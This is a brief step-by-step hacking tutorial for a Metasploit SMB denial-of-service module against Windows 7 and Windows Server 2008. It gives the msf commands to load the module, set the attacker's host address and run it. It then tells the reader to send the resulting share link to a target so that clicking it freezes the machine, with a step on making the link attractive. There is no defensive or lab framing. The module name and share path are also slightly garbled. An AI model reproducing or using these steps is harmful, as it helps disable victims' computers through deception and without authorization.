🔹Step 1: A Little Background Material

👉 Remember that Metasploit has six types of modules, exploits, payloads, auxiliary, encoders, NOPs and post. In this hack, we will use an auxiliary module to attack the Windows 7 or Windows Server 2008 system's SMB.

🔗 msf> use auxiliary/dos/windows/smb/ms10negotiateresponseloop

🔹Step 2: Show Options

👉 Now that we have selected our module, let's look at our options:

🔗 msf> auxiliary(ms10negotiateresponseloop) show options

👉 As we can see , the only option we need to set is SVRHOST, which is our—the attacker's—system. In my case, it is 192.168.1.100. Yours may be different; check your IP address by typing ifconfig in a terminal.

🔹Step 3: Set SVRHOST

👉 Next, set your SVRHOST by typing:

🔗 msf > auxiliary(ms10negotiateresponseloop) set SVRHOST 192.168.1.100

🔹Step 4: Run

👉 In the last step, we run the auxiliary module and once the module executes, it generates a shared folder link which you can send to the target machine. In this case, the link is \192.168.1.100\Shared\Anything.

🔗 msf > auxiliary(ms10negotiateresponseloop) run

🔹Step 5: Making an Attractive Link

👉 Metasploit then starts the malicious SMB service and when the target clicks on the link, the target system will begin to run an infinite loops or Freeze.

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